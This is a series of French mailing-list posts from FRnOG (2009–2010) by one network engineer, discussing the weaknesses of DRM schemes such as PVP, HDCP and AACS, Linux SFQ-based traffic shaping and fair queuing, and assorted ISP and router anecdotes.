« tuyaux » divers et variés par lequel ces données protégées doivent passer (entre l'application et la carte graphique en passant par le framework de rendu ça fait une trotte), le truc a du couter les yeux de la tête en termes de conception, test et développement. Je trouve hallucinant que Microsoft puisse dépenser une telle montagne de fric et accepter de faire des modifications aussi intrusives en plein cœur de son système d'exploitation juste pour les petits caprices des studios Hollywoodiens. Ils auraient pu monter un projet semblable pour améliorer la sécurité (la vraie) de leur système, pour améliorer les performances, ou que sais-je… mais ils ont préféré céder au chantage d'un cartel d'entreprises. Quel gâchis. Bon, évidemment, Thomas Soete a raison : même une telle forteresse n'est pas infaillible, c'est mathématiquement impossible. On peut par exemple imaginer patcher le binaire du kernel pour faire sauter des protections. Mais Microsoft ont tout fait pour que ce soit extrêmement difficile. Et en fait, je n'ai jamais entendu parler de quelqu'un qui y soit arrivé. Probablement parce qu'il n'y a jamais vraiment eu de demande : pour copier les flux contenus sur des Blu-ray il s'est avéré plus simple (et plus propre) de cracker AACS que PVP. Même chose pour HDCP. Donc au final, comme AACS et HDCP sont maintenant crackés, la seule technologie de protection encore debout est PVP/PAP. Paradoxalement, cette dernière ne sert plus à rien vu que les autres maillons de la chaine sont cassés : il suffit de copier le flux en amont ou en aval de PVP, qui au final ne protège que du vent. Encore une fois : quel gâchis. Il est évident que la technologie que défend Pierre Col ne fera que répéter l'histoire si elle se répand suffisamment pour atteindre le seuil critique qui intéressera les crackers. Je ne vois absolument pas pourquoi elle ne subirait pas le même sort que le Blu-ray. Comme l'a si justement rappelé Thomas Soete, même des technologies extrêmement compliquées et obfusquées comme BD+ ont fini par se faire cracker tôt ou tard. C'est juste inéluctable : si une machine est capable de sortir A, alors on pourra forcément lui faire copier A. C'est la loi de la nature, et c'est tant mieux ! -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] Re: Comment pénétrer('facilem ent) le backbone d'un grand FAI
On 27/09/2010 11:47, Mathieu Paonessa wrote: Sachant que le problème ici est l'update même de la box. Pour cela madame Michu doit rebooter son boitier electriquement ce qui, hors coupure EDF ou coup d'aspirateur, ne doit pas lui arriver très souvent. Je sais pas pour les autres box, mais il me semble qu'une Neufbox reboote automatiquement pour appliquer une update. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] Fuite Master Key HDCP
On 19/09/2010 21:06, Michel Py wrote: Sauf que Slysoft c'est pas du temps réèl: il faut immobiliser le PC pendant des heures pour faire tourner la moulinette. Un peu ennuyeux dans le scénario genre je m'arrête au magasin de disques pour en louer un pour la soirée sur juste avant de rentrer à la maison ou de prendre le train. Non. AnyDVD fait tout en temps réel et à la volée : c'est totalement transparent, Windows voit le contenu du Blu-ray en clair comme un vulgaire CD. Tu n'as pas besoin de faire une première passe pour tout déchiffrer. C'est fort bien foutu. Bien sûr je suppose ici que tu veux lire le Blu-ray directement sur le PC (dans le cadre d'un HTPC par exemple). -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] Fuite Master Key HDCP
On 18/09/2010 05:43, Michel Py wrote: 2. Le piratage perso: Du point de vue du troll du vendredi, ça m'a fait un peu sourire. Pirater le contenu protégé, ça se faisait déjà; il fallait un peu de matos, en général basé sur un component dé-soudé sauvagement d'une télé mystérieusement en panne, mais rien de vraiment introuvable. Je suis sûr que certains lecteurs qui comme Pierre et moi ont atteint l'âge avancé d'avoir une barbe nettement grisonnante se rappelleront du premier décodeur Canal+ (celui avec les lignes à retard introuvables). Bon allez accouchez les enfants: combien vous en avez soudés pour les potes, après que le votre soit devenu très (trop) populaire le premier samedi du mois à minuit? Les gens qui ont le hard sauvage qui décode HDCP vont bénir cette fuite: ce que ceci change, c'est que ça va permettre à Mr Michu de ripper du HDCP avec son PC sans avoir besoin de se faire fabriquer le hard de décodage. Fini le hé Michel, je peux venir ce soir pour pirater l'émission xyz ou le dernier film à la mode. On devrait donc voir dans peu de temps un équivalent BlueRay du bon vieux DVDshrink qui permettait de dé-zoner et d'enlever la protection et de re-rippper pour toaster un DVD-5 bien moins cher qu'un DVD9 DL. Voici donc le MO du hacker en pantoufles: contenu HD protégé (que ce soit BR ou flux DVR) - soft magique - .mkv sans protection - upload sur bittorrent (démodé) ou sur megaupload et autres giganews. Ton « soft magique » il existe déjà depuis longtemps, du moins pour le BR : http://www.slysoft.com/en/anydvdhd.html Ça déchiffre de façon transparente tous les Blu-rays du marché (y compris BD+), et lorsqu'une nouvelle clé apparait, la mise à jour arrive dans les 24 heures. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] Reply-to
On 10/09/2010 12:31, Jean Christophe Babinet wrote: Ne faudrait-il pas paramétrer le reply-to de la liste, vers la liste ? je me fais avoir une fois sur deux. Dans Thunderbird 3.1, il est possible de personnaliser la barre d'actions dans l'en-tête d'un message de telle sorte de ne laisser que le bouton le plus approprié (répondre pour un message normal ou répondre à la liste pour un message de liste). Ça évite ce genre d'étourderies. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 smime.p7s Description: S/MIME Cryptographic Signature
[FRnOG] Re: [FRnOG] RE: [FRnOG] Re: [FRnOG] RE: [ FRnOG] Neutralité du Net
On 18/08/2010 16:55, Giles R DeMourot wrote: Rien ne vous empêche actuellement de connecter un modem-routeur adsl (la fibre FTTH est une autre histoire) Le principe est applicable à SFR/Neuf FTTH : http://www.neufbox4.org/wiki/index.php?title=Bypasser_sa_neufbox -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] ADSL contention
Mathieu wrote: j'avais déjà vu une modif de sfq qui fait ça: ça s'appelle esfq http://fatooh.org/esfq-2.6/ cependant, ça ne semble plus maintenu... En me baladant paisiblement dans le menuconfig du Kernel (oui, j'ai des activités bizarres) je suis tombé sur ça : CONFIG_NET_CLS_FLOW: If you say Y here, you will be able to classify packets based on a configurable combination of packet keys. This is mostly useful in combination with SFQ. Plus d'infos ici : http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.29.y.git;a=commitdiff;h=e5dfb815181fcb186d6080ac3a091eadff2d98fe Add new flow classifier, which is meant to extend the SFQ hashing capabilities without hard-coding new hash functions and also allows deterministic mappings of keys to classes, replacing some out of tree iptables patches like IPCLASSIFY (maps IPs to classes), IPMARK (maps IPs to marks, with fw filters to classes), ... Ca semble pouvoir faire ce que je veux, mais la documentation semble... comment dire... inexistante... la discussion suivante donne des pistes : http://kerneltrap.org/mailarchive/linux-netdev/2008/1/31/667679 Quelqu'un a déjà utilisé ce truc ? -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 attachment: e-t172.vcf smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] ADSL contention
Julien Richer wrote: Le 1 décembre 2009 09:59, Thomas Mangin thomas.man...@exa-networks.co.uk a écrit : Si, entre autres. Mais je ne comprends pas pourquoi, alors que le FAI en question est pourtant relié au GIX local, tout le trafic passe par la métropole. Étonnante optimisation. Je ne sais pas pour ton FAI, mais a une époque, AOL UK terminait ses client dialup au USA car cela leur permettait d'éviter certaines taxes nationales. AOL France aussi, au moins à l'époque du 56k. On sortait à l'est des US (j'ai plus la ville en tête) que du bonheur pour le ping. Chez AOL il devait y avoir plus de marketeux (pour envoyer les CDs 50heures gratuites !) que de tech. Leur disparition n'a du attrister personne. Ah, ça explique la situation ultra-fréquente qu'on rencontrait à l'époque du 56K sur les serveurs de jeu : - Eh, mais j'ai un ping de merde ! - T'es chez AOL ? - Gagné :) -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 attachment: e-t172.vcf smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] ADSL contention
Dominique Rousseau wrote: Dans un contexte où a de la saturation de lien à gérer (savoir si on cherche à éviter ce contexte, c'est une autre question), il est normal, je pense, de prioriser les flux interactifs, pour lesquels une latence plus élevée dégrade le ressenti. Et donc, les webmails, banques en ligne, ... ça rentrerait dans ces applications prioritaires. Et c'est relativement facile à différencier, une application interactive, ce sont celles où on a un aller-retour permanent de connexions de (relativement) courte durée (chacune individuellement). Les application moins prioritaires seraient tous les transferts bulk, qu'ils soient en bittorrent, ftp, http, ... On peut sans doute aussi y ranger le smtp, quand il se fait entre serveurs. (quand c'est entre le Thunderbird et le SMTP du fai, ça joue sur le ressenti, si ça rame) C'est intéressant comme réflexion. C'est exactement le même principe que les schedulers CPU, qui sont capables d'estimer si un processus est de type interactif ou de type batch et priorise les tâches interactives (qui consomment peu mais qui ont besoin du CPU tout de suite) par rapport aux tâches batch (qui consomment le maximum pendant un certain temps). Je sais pas si y'a eu des recherches pour adapter ça au réseau : si un flux consomme peu, alors il est considéré interactif et ses paquets passeront avant ceux des flux qui consomment le maximum. En théorie, distinguer les deux est très simple : dans le cas de l'interactif c'est majoritairement constitué de petits paquets, dans le cas du batch c'est constitué uniquement de gros paquets (= MTU). En fait on peut même faire ça avec une box Linux et le traffic control assez simplement. On utilise une queuing discipline de type PRIO et on classifie les paquets taille MTU dans une première queue et les paquets taille = MTU dans une deuxième (bon, avec une marge pour le MTU). Le résultat c'est que les paquets MTU passent avant les autres, et comme ce sont généralement des paquets liés à des applications interactives, bingo. Bon c'est assez simpliste, et ça ne couvre pas le cas de HTTP parce que en pratique, HTTP serait considéré comme du batch. J'imagine qu'il serait mieux de faire des statistiques sur une conversation (stateful donc), auquel cas, comme la connexion HTTP serait inutilisée la plupart du temps (vu que l'utilisateur ne change pas tout le temps de page), elle serait priorisée par rapport au Bittorrent par exemple qui lui utilise toute la capacité tout le temps. Par contre ça va scaler beaucoup moins bien évidemment. Faudrait que j'expérimente là dessus, mais j'imagine que quelqu'un y a déjà pensé avant ? -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 attachment: e-t172.vcf smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] ADSL contention
e-t172 wrote: Bon c'est assez simpliste, et ça ne couvre pas le cas de HTTP parce que en pratique, HTTP serait considéré comme du batch. J'imagine qu'il serait mieux de faire des statistiques sur une conversation (stateful donc), auquel cas, comme la connexion HTTP serait inutilisée la plupart du temps (vu que l'utilisateur ne change pas tout le temps de page), elle serait priorisée par rapport au Bittorrent par exemple qui lui utilise toute la capacité tout le temps. Par contre ça va scaler beaucoup moins bien évidemment. Faudrait que j'expérimente là dessus, mais j'imagine que quelqu'un y a déjà pensé avant ? Après réflexion, je me rend compte que c'est exactement ce que fait SFQ (Stochastic Fair Queuing) sous Linux : il fait en sorte que chaque conversation ait une part égale de la capacité. Or, comme une conversation interactive débite peu, avec SFQ elle aura logiquement une priorité plus haute que celles qui consomment beaucoup. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 attachment: e-t172.vcf smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] ADSL contention
Rémi Bouhl wrote: Je schématise: on a un tuyau à 1 Gb/s, avec dessus 500 utilisateurs qui ont jusqu'à 20 Mb/s chacun. Tant que le tuyau n'est pas saturé, chacun peut utiliser le maximum de sa ligne. Dès l'instant où le tuyau commence à saturer (un peu avant, en fait, dès que la latence augmente de façon sensible), on garantit à chaque utilisateur 1Gb/500 = 2Mb/s. Ce qui signifie que ceux qui prennent 20Mb/s se feront légèrement diminuer le débit, afin de garantir un tuyau à 2Mb/s pour madame Michu. Et si tout le monde veut utiliser le tuyau à fond, alors on bride tout le monde à 2Mb/s. Autrement dit, faire passer en priorité les utilisateurs qui consomment peu, par rapport à ceux qui consomment beaucoup, afin de garantir une latence faible aux usages qui consomment peu et demandent une latence faible. Et si l'utilisateur veut faire du BT à fond _et_ jouer en ligne, le fait que BT rende son jeu injouable devient son problème à lui. Ça paraît plus simple de trier les paquets par utilisateur (donc par IP) plutôt que de faire du DPI, non? Ce n'est pas faisable, ça? Garantir la même latence et le même débit à chaque utilisateur, et le laisser se démerder avec, plutôt que de prioriser le trafic de type machin de l'utilisateur A au détriment du trafic truc de l'utilisateur B? En fait, pour faire ça, je pense qu'il suffirait de modifier légèrement SFQ pour qu'il se base sur l'adresse source et non pas sur la conversation. Ainsi, la capacité est répartie de manière équitable entre les sources. D'ailleurs j'ai pour projet de patcher SFQ sous Linux parce que je vais bientôt me retrouver dans une situation dans laquelle je vais avoir besoin de faire ça sur une passerelle Linux pour un petit réseau (50+ hôtes). La solution parfaite serait un mélange des deux : d'abord on partage équitablement selon la source, PUIS en bonus, on priorise l'interactif par rapport au batch. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 attachment: e-t172.vcf smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] ADSL contention
Thomas Mangin wrote: En fait, pour faire ça, je pense qu'il suffirait de modifier légèrement SFQ pour qu'il se base sur l'adresse source et non pas sur la conversation. Bon, il ne me reste plus qu'a change mon port BT pour 80 (TCP) et 53 ou mieux 5060 (UDP) :p Le QOS mal fait peut aider les DDOS en favorisant le traffic de DDOS par rapport au traffic normal. Je parle de l'adresse IP source, pas du port source. Autrement dit, si 1.2.3.4 et 4.3.2.1 utilisent le lien, chacun obtient une part équitable. Peu importe ce qu'ils font avec ou les ports qu'ils utilisent, qu'ils fassent du DDoS ou du BT, on s'en fout, ils font la queue comme tout le monde. Si je veux faire de la VoIP en même temps, je passe d'abord parce que *JE* consomme moins que les téléchargeurs fous. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 attachment: e-t172.vcf smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] Cablage pour ADSL
Athias Jerome wrote: Note amusante: sur de la plus courte distance, j'ai vu ponter en laser dans ma région (Franche-Comté). C'est très amusant par temps de brouillard ^_^ Juste par curiosité : cette technologie (optique en air libre) est-elle accessible à un particulier sans coûter un rein ? -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 20 41 09 29 attachment: e-t172.vcf smime.p7s Description: S/MIME Cryptographic Signature
Re: [FRnOG] Y a encore un pilote chez Numericable?
Jean-Francois Cousi wrote: perte jusqu'à 100% de paquets. Et meme quand ca marche, il est rare de garder une session SSH ouverte plus de 5 minutes sans se faire déconnecter. Clément Collier wrote: Je crois que c'est chez tout le monde pareil. Le SSH, c'est mission impossible sans bidouiller. C'est la faute au modem-routeur qu'ils fournissent, qui comme tous les routeurs Netgear, oublie les connexions TCP au bout d'un certain temps d'inactivité. Je crois que Netgear a fait naître des envies de meurtre chez pas mal de monde à cause de ça. -- Etienne Dechamps / e-t172 - AKE Group Website: http://www.e-t172.net/ Contact: e-t...@akegroup.org Phone: +33547414942 begin:vcard fn:e-t172 n:Dechamps;Etienne org:AKE Group email;internet:e-t...@akegroup.org tel;home:(+33) 5 47 41 49 42 x-mozilla-html:FALSE version:2.1 end:vcard
